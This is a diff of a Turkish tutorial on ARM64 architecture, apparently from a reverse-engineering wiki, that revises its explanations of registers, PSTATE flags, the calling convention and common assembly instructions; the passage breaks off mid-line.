+### SIMD ve Floating-Point Registerları -### Sistem Kayıtları +Ayrıca, optimize edilmiş single instruction multiple data (SIMD) işlemleri ve floating-point aritmetiği için kullanılabilen **128bit uzunluğunda 32 adet** register vardır. Bunlara Vn register'ları denir; ayrıca **64-bit, 32-bit, 16-bit ve 8-bit** modlarında çalıştırıldıklarında sırasıyla **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar. -**Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\ -Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler. +### System Registerları -Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\ -Genellikle, **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir. +**Yüzlerce system register** (özel amaçlı registerlar, SPR) işlemcinin davranışını **izleme** ve **kontrol etme** için kullanılır.\ +Bunlar yalnızca özel talimatlar **`mrs`** ve **`msr`** ile okunup yazılabilir. -- `mrs x0, TPIDR_EL0 ; TPIDR_EL0'ı x0'a oku` -- `msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'a yaz` +Özel registerlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik sırasında sıkça karşılaşılan registerlardır. `EL0` eki, register'a hangi minimum istisna seviyesinden erişilebileceğini belirtir (bu örnekte EL0, normal programların çalıştığı düzenli istisna / ayrıcalık seviyesidir).\ +Genellikle thread-local storage bölgesinin temel adresini depolamak için kullanılırlar. İlk olan genellikle EL0'da çalışan programlar için okunup yazılabilirken, ikincisi EL0'den okunabilir ve EL1'den yazılabilir (ör. kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE**, işletim sistemi görünür **`SPSR_ELx`** özel kaydına serileştirilmiş birkaç işlem bileşeni içerir, burada X, tetiklenen istisnanın **izin** **seviyesidir** (bu, istisna sona erdiğinde işlem durumunu geri almak için olanak tanır).\ -Erişilebilir alanlar şunlardır: +**PSTATE**, işletim sistemi tarafından görülebilen **`SPSR_ELx`** özel register'ında seri hale getirilmiş birkaç işlem bileşeni içerir; burada X tetiklenen istisnanın **izin (permission) seviyesi**dir (bu, istisna sona erdiğinde işlem durumunu geri almak için kullanılır).\ +Erişilebilen alanlar şunlardır:
-- **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları: -- **`N`**, işlemin negatif bir sonuç verdiğini belirtir. -- **`Z`**, işlemin sıfır verdiğini belirtir. -- **`C`**, işlemin taşındığını belirtir. -- **`V`**, işlemin imzalı bir taşma verdiğini belirtir: -- İki pozitif sayının toplamı negatif bir sonuç verir. -- İki negatif sayının toplamı pozitif bir sonuç verir. -- Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse. -- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. +- **`N`**, **`Z`**, **`C`** ve **`V`** koşul flag'leri: +- **`N`** işlemin negatif bir sonuç ürettiğini gösterir +- **`Z`** işlemin sıfır sonucu ürettiğini gösterir +- **`C`** işlemin taşıma (carry) olduğunu gösterir +- **`V`** işlemin işaretli taşma (signed overflow) ürettiğini gösterir: +- İki pozitif sayının toplamı negatif bir sonuç veriyorsa. +- İki negatif sayının toplamı pozitif bir sonuç veriyorsa. +- Çıkarmada, daha büyük negatif bir sayı daha küçük pozitif bir sayıdan çıkarıldığında (veya tersine) ve sonuç verilen bit boyutu içinde temsil edilemiyorsa. +- İşlemcinin işlemin işaretli mı işaretsiz mi olduğunu bilmediği açıktır, bu nedenle işlemlerde C ve V kontrol edilerek taşma olup olmadığı belirtilir. > [!WARNING] -> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de günceller. +> Tüm talimatlar bu flag'leri güncellemez. Bazıları (ör. **`CMP`** veya **`TST`**) günceller, ve **s** suffix'i olanlar (**`ADDS`** gibi) da bu flag'leri günceller. -- Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. -- Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır. -- **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir. -- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğini işaretlemek için kullanılır, bu bayrak 1'e ayarlanır ve işlemci geçersiz durum istisnası tetikler. -- **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır. -- Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. -- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. +- Mevcut **register genişliği (`nRW`) flag'i**: Eğer flag 0 ise, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. +- Mevcut **Exception Level** (**`EL`**): EL0'da çalışan normal bir program için bu değer 0 olacaktır. +- **Single stepping** flag'i (**`SS`**): Debugger'lar tarafından, bir istisna yoluyla **`SPSR_ELx`** içine SS flag'i 1 yapılarak tek adım yürütme için kullanılır. Program bir adım çalıştırır ve tek adım istisnası oluşturur. +- **Illegal exception** durum flag'i (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi transferi yaptığında işaretlenir; bu flag 1 olarak ayarlanır ve işlemci illegal state istisnası tetikler. +- **`DAIF`** flag'leri: Bu flag'ler ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelenmesine izin verir. +- Eğer **`A`** 1 ise asenkron abort'lar tetiklenecektir. **`I`** harici donanım Interrupt Requests (IRQ) ile nasıl yanıt verileceğini yapılandırır. **F** ise Fast Interrupt Requests (FIQ) ile ilgilidir. +- **Stack pointer select** flag'leri (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi stack pointer register'ları ile user-model olan arasında geçiş yapabilirler (örn. `SP_EL1` ile `EL0` arasında). Bu geçiş **`SPSel`** özel register'ına yazılarak yapılır. Bu EL0'dan yapılamaz. -## **Çağrı Sözleşmesi (ARM64v8)** +## **Calling Convention (ARM64v8)** -ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirileceğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçirilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. +ARM64 calling convention, bir fonksiyona iletilen ilk sekiz parametrenin `x0` ile `x7` registerlarında geçirileceğini belirtir. Ek parametreler yığına (stack) geçirilir. Döndürülen değer register `x0`'da döndürülür; eğer 128 bit ise ayrıca `x1` de kullanılır. `x19` ile `x30` ve `sp` registerları fonksiyon çağrıları arasında korunmalıdır. -Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog** genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir. +Assembly'de bir fonksiyonu okurken, **function prologue** ve **epilogue**'a bakın. **Prologue** genellikle **frame pointer (`x29`)** kaydetmeyi, yeni bir frame pointer ayarlamayı ve yığında alan ayırmayı içerir. **Epilogue** ise genellikle kaydedilmiş frame pointer'ı geri yüklemeyi ve fonksiyondan dönmeyi içerir. -### Swift'te Çağrı Sözleşmesi +### Calling Convention in Swift -Swift'in kendi **çağrı sözleşmesi** vardır, [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir. +Swift kendi **calling convention**'ına sahiptir; detaylar şurada bulunabilir: [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Yaygın Talimatlar (ARM64v8)** +## **Common Instructions (ARM64v8)** -ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, burada **`opcode`** gerçekleştirilecek **işlemi** (örneğin `add`, `sub`, `mov` vb.) belirtir, **`dst`** sonucu saklayacak **hedef** kaydıdır ve **`src1`** ve **`src2`** **kaynak** kayıtlarıdır. Anlık değerler de kaynak kayıtları yerine kullanılabilir. +ARM64 talimatları genel olarak **`opcode dst, src1, src2`** formatına sahiptir; burada **`opcode`** yapılacak işlemi (ör. `add`, `sub`, `mov` vb.), **`dst`** sonucu depolayacak hedef register'ı ve **`src1`**, **`src2`** kaynak register'larıdır. Immediate değerler kaynak registerların yerine kullanılabilir. -- **`mov`**: Bir **kayıttan** diğerine bir değeri **taşı**. -- Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır. -- **`ldr`**: **Bellekten** bir değeri bir **kayda yükle**. -- Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler. -- **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin: -- `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir. -- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir. -- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar. -- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar. -- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle. -- **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır. -- `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller. -- **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır. -- `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir. -- **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**. -- Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna saklar. -- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8`'deki bellek konumlarından yükler. -- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8`'deki bellek konumlarına saklar. -- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i sırasıyla `sp+16` ve `sp + 24`'deki bellek konumlarına saklar ve `sp`'yi `sp+16` ile günceller. -- **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar. +- **`mov`**: Bir değeri bir registerdan diğerine **taşır**. +- Örnek: `mov x0, x1` — `x1`'deki değeri `x0`'a taşır. +- **`ldr`**: Bellekten bir değeri bir registera **yükler**. +- Örnek: `ldr x0, [x1]` — `x1`'in işaret ettiği bellek konumundan değeri `x0`'a yükler. +- **Offset mode**: Orijin pointer'ını etkileyen bir offset belirtilir, örneğin: +- `ldr x2, [x1, #8]` — bu x1 + 8 adresinden değeri x2'ye yükler +- `ldr x2, [x0, x1, lsl #2]` — bu x2'ye x0 dizisinden x1 (index) * 4 pozisyonundaki nesneyi yükler +- **Pre-indexed mode**: Bu mod orijine hesaplamaları uygulayıp sonucu alır ve ayrıca yeni orijini orijine yazar. +- `ldr x2, [x1, #8]!` — bu `x1 + 8`'i `x2`'ye yükler ve `x1`'e `x1 + 8` sonucunu yazar +- `str lr, [sp, #-4]!` — Link register'ı sp'ye kaydeder ve sp'yi günceller +- **Post-index mode**: Öncekine benzer, ancak bellek adresine önce erişilir, sonra offset hesaplanıp saklanır. +- `ldr x0, [x1], #8` — `x1`'i `x0`'e yükler ve `x1`'i `x1 + 8` ile günceller +- **PC-relative addressing**: Yüklenecek adres PC registerına göre hesaplanır +- `ldr x1, =_start` — bu mevcut PC'ye göre `_start` sembolünün başladığı adresi x1'e yükler. +- **`str`**: Bir registerdaki değeri belleğe **yazar**. +- Örnek: `str x0, [x1]` — `x0`'daki değeri `x1`'in işaret ettiği bellek konumuna yazar. +- **`ldp`**: İki registerı **ardışık bellek** konumlarından **yükler**. Bellek adresi genellikle başka bir register değeri ile offset eklenerek oluşturulur. +- Örnek: `ldp x0, x1, [x2]` — `x2` ve `x2 + 8` adreslerinden sırasıyla `x0` ve `x1`'i yükler. +- **`stp`**: İki registerı **ardışık bellek** konumlarına **yazar**. Bellek adresi genellikle başka bir register ile offset eklenerek oluşturulur. +- Örnek: `stp x0, x1, [sp]` — `x0` ve `x1`'i `sp` ve `sp + 8` adreslerine yazar. +- `stp x0, x1, [sp, #16]!` — `x0` ve `x1`'i `sp+16` ve `sp+24` adreslerine yazar ve `sp`'yi `sp+16` ile günceller. +- **`add`**: İki registerın değerini toplar ve sonucu bir registera yazar. - Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Hedef -- Xn2 -> Operatör 1 -- Xn3 | #imm -> Operatör 2 (kayıt veya anlık) -- \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır -- Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar. -- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmıştır) -> 1 0000 0000 0000 0000 -- **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller. -- **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar. -- **`add`** **söz dizimini** kontrol edin. -- Örnek: `sub x0, x1, x2` — Bu, `x2`'deki değeri `x1`'den çıkarır ve sonucu `x0`'da saklar. -- **`subs`** Bu, çıkarma işlemi yapar ancak bayrağı günceller. -- **`mul`**: İki kaydın değerlerini çarpar ve sonucu bir kayıtta saklar. -- Örnek: `mul x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri çarpar ve sonucu `x0`'da saklar. -- **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar. -- Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar. +- Xn2 -> Operand 1 +- Xn3 | #imm -> Operand 2 (register veya immediate) +- \[shift #N | RRX] -> Bir shift uygula veya RRX kullan +- Örnek: `add x0, x1, x2` — `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'a yazar. +- `add x5, x5, #1, lsl #12` — bu 4096'ya eşittir (1'i 12 kez sola kaydırmak) -> 1 0000 0000 0000 0000 +- **`adds`**: `add` yapar ve flag'leri günceller. +- **`sub`**: İki registerın farkını alır ve sonucu bir registera yazar. +- `add` söz dizimini kontrol edin. +- Örnek: `sub x0, x1, x2` — `x1`'den `x2`'yi çıkarır ve sonucu `x0`'a yazar. +- **`subs`**: Flag'leri güncelleyerek sub yapar. +- **`mul`**: İki registerın çarpımını alır ve sonucu bir registera yazar. +- Örnek: `mul x0, x1, x2` — `x1` ve `x2`'yi çarpar ve sonucu `x0`'a yazar. +- **`div`**: Bir registerın değerini diğerine böler ve sonucu bir registera yazar. +- Örnek: `div x0, x1, x2` — `x1`'i `x2`'ye böler ve sonucu `x0`'a yazar. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Mantıksal kaydırma sola**: Diğer bitleri ileri kaydırarak uçtan 0 ekler (n kez 2 ile çarpma). -- **Mantıksal kaydırma sağa**: Diğer bitleri geri kaydırarak başa 1 ekler (imzasız olarak n kez 2 ile bölme). -- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı olarak n kez 2 ile bölme). -- **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir. -- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Böylece taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. -- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir. -- Bit alanı taşıma: `BFM Xd, Xn, #r` -- İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s` -- İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s` -- **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar. -- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle. -- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala. -- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla. -- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar, işaret uzat ve sonucu X1'e yerleştir. -- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla. -- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar ve sıfır uzatılmış sonucu X1'e yerleştir. -- **İşareti X'e Uzatma:** Bir değerin işaretini (veya imzasız versiyonunda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz: -- **`SXTB X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır (`W2`, `X2`'nin yarısıdır) ve 64 bit doldurur. -- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının işaretini uzatır ve 64 bit doldurur. -- **`SXTW X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır ve 64 bit doldurur. -- **`UXTB X1, W2`** W2'den **X1'e** bir bayta 0 ekler (imzasız) ve 64 bit doldurur. -- **`extr`:** Belirtilen **bir çift kayıttan bitleri çıkarır**. -- Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar. -- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'nin bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır. -- **`subs`** ile aynı söz dizimini destekler. -- Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar. -- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'nin bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. -- **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla. -- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE`** olduğunda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0'a ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). -- Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi). -- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu herhangi bir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki herhangi bir bitin 1 olup olmadığını kontrol etmek için yararlıdır. -- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et. -- **`teq`**: Sonucu göz ardı ederek XOR işlemi. -- **`b`**: Koşulsuz Dal. +- **Logical shift left**: Diğer bitleri öne kaydırarak sondan 0 ekler (2 ile çarpma etkisi). +- **Logical shift right**: Diğer bitleri geriye kaydırarak başa 0 ekler (işaretsiz bölme ile ilişkilidir). +- **Arithmetic shift right**: `lsr` gibi, ancak en anlamlı bit 1 ise başa 1 ekler (işaretli bölme ile ilişkilidir). +- **Rotate right**: `lsr` gibi ama sağdan çıkarılan bitler sola eklenir. +- **Rotate Right with Extend**: `ror` gibi ama carry flag en anlamlı bit olarak kullanılır. Böylece carry flag bit 31'e taşınır ve çıkarılan bit carry flag'e konur. +- **`bfm`**: Bit Field Move; bu işlemler bir değerden `0...n` arası bitleri kopyalar ve onları `m..m+n` pozisyonlarına yerleştirir. **`#s`** en sol bit pozisyonunu ve **`#r`** rotate right miktarını belirtir. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Bir registerdan bitfield kopyalar ve başka bir registera yapıştırır. +- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden itibaren 4 bit ekler +- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden itibaren dört bit çıkarır ve X1'e kopyalar +- **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti işaret genişlemesi ile X1'e bit pozisyonu 3'ten başlayarak ekler ve sağdaki bitleri sıfırlar +- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, işaret genişletir ve sonucu X1'e koyar +- **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır genişlemesi ile X1'e ekler ve sağdaki bitleri sıfırlar +- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır genişletilmiş sonucu X1'e koyar. +- **Sign Extend To X:** Bir değerin işaretini genişletir (veya işaretsiz sürümünde sadece 0 ekler) böylece işlem yapabilsin: +- **`SXTB X1, W2`** W2'den bir byte'ın işaretini X1'e uzatır (`W2`, `X2`'nin yarısı) 64 biti doldurmak için +- **`SXTH X1, W2`** 16-bit bir sayının işaretini W2'den X1'e uzatır +- **`SXTW X1, W2`** W2'den bir word'ın işaretini X1'e uzatır +- **`UXTB X1, W2`** W2'den bir byte'ı X1'e sıfır genişlemesi ile koyar (unsigned) +- **`extr`**: Belirtilen iki registerın birleştirilmiş eşinden bitler çıkarır. +- Örnek: `EXTR W3, W2, W1, #3` Bu W1+W2'yi birleştirir ve W2'nin 3. bitinden W1'in 3. bitine kadar alıp W3'e koyar. +- **`cmp`**: İki registerı karşılaştırır ve koşul flag'lerini ayarlar. Bu, **`subs`**'in bir alias'ıdır ve hedef register'ı sıfır register'ına ayarlar. `m == n` bilgisini almak için kullanışlıdır. +- `subs` ile aynı söz dizimini destekler. +- Örnek: `cmp x0, x1` — `x0` ve `x1`'i karşılaştırır ve koşul flag'lerini ayarlar. +- **`cmn`**: Negatif karşılaştırma. Bu durumda **`adds`**'in alias'ıdır ve aynı söz dizimini destekler. `m == -n` kontrolü için kullanışlıdır. +- **`ccmp`**: Koşullu karşılaştırma; önceki karşılaştırma doğruysa gerçekleştirilir ve özellikle nzcv bitlerini ayarlar. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise func'a atla +- Bunun nedeni, **`ccmp`** yalnızca önceki `cmp`'in `NE` olduğu durumda yürütülür; eğer değilse nzcv bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını sağlamaz). +- Bu ayrıca `ccmn` (aynı fakat negatif, `cmp` vs `cmn` gibi) olarak da kullanılabilir. +- **`tst`**: Karşılaştırılan değerlerin herhangi birinin 1 olup olmadığını kontrol eder (bir ANDS gibi çalışır ama sonucu hiçbir yere yazmaz). Bir register'ı bir değerle kontrol edip belirtilen bitlerden herhangi birinin 1 olup olmadığını test etmek için kullanışlıdır. +- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi biri 1 mi diye kontrol eder +- **`teq`**: Sonucu yok sayarak XOR işlemi yapar +- **`b`**: Koşulsuz Branch - Örnek: `b myFunction` -- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). -- **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar. -- Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar. -- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). -- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilerek** bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu -- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. -- **`ret`**: **Alt programdan dön**, genellikle **`x30`**'daki adresi kullanarak. -- Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır. -- **`b.`**: Koşullu dallar. -- **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak. -- Örnek: `b.eq label` — Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar. -- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar. -- Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1`'deki değerler eşit değilse, bu `label`'a atlar. -- **`cbz`**: **Sıfır ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar. -- Örnek: `cbz x0, label` — Eğer `x0`'daki değer sıfırsa, bu `label`'a atlar. -- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar. -- Örnek: `cbnz x0, label` — Eğer `x0`'daki değer sıfır değilse, bu `label`'a atlar. -- **`tbnz`**: Bit testi ve sıfır olmayan durumda dal. +- Bu, link register'ı dönüş adresiyle doldurmaz (geri dönmesi gereken alt rutin çağrıları için uygun değil) +- **`bl`**: Link ile Branch, bir alt rutini **çağırmak** için kullanılır. Döngü adresini `x30`'a kaydeder. +- Örnek: `bl myFunction` — `myFunction`'ı çağırır ve dönüş adresini `x30`'a kaydeder. +- **`blr`**: Register'a Branch with Link; hedef adres registerda belirtildiğinde alt rutini çağırmak için kullanılır. Döndürme adresini `x30`'a kaydeder. +- Örnek: `blr x1` — `x1`'deki adrese çağrı yapar ve dönüş adresini `x30`'a kaydeder. +- **`ret`**: Alt rutinden dönüş, tipik olarak `x30`'daki adresi kullanır. +- Örnek: `ret` — Mevcut alt rutininden `x30`'daki dönüş adresi ile döner. +- **`b.`**: Koşullu dallanmalar +- **`b.eq`**: Eşitse dallan (önceki `cmp`'e bağlı). +- Örnek: `b.eq label` — Eğer önceki `cmp` iki değeri eşit bulduysa `label`'a atlar. +- **`b.ne`**: Eşit değilse dallan. Bu talimat, koşul flag'lerini kontrol eder ve eğer karşılaştırılan değerler eşit değilse belirtilen etikete veya adrese dallanır. +- Örnek: `cmp x0, x1` sonrası `b.ne label` — Eğer `x0` ve `x1` eşit değilse `label`'a 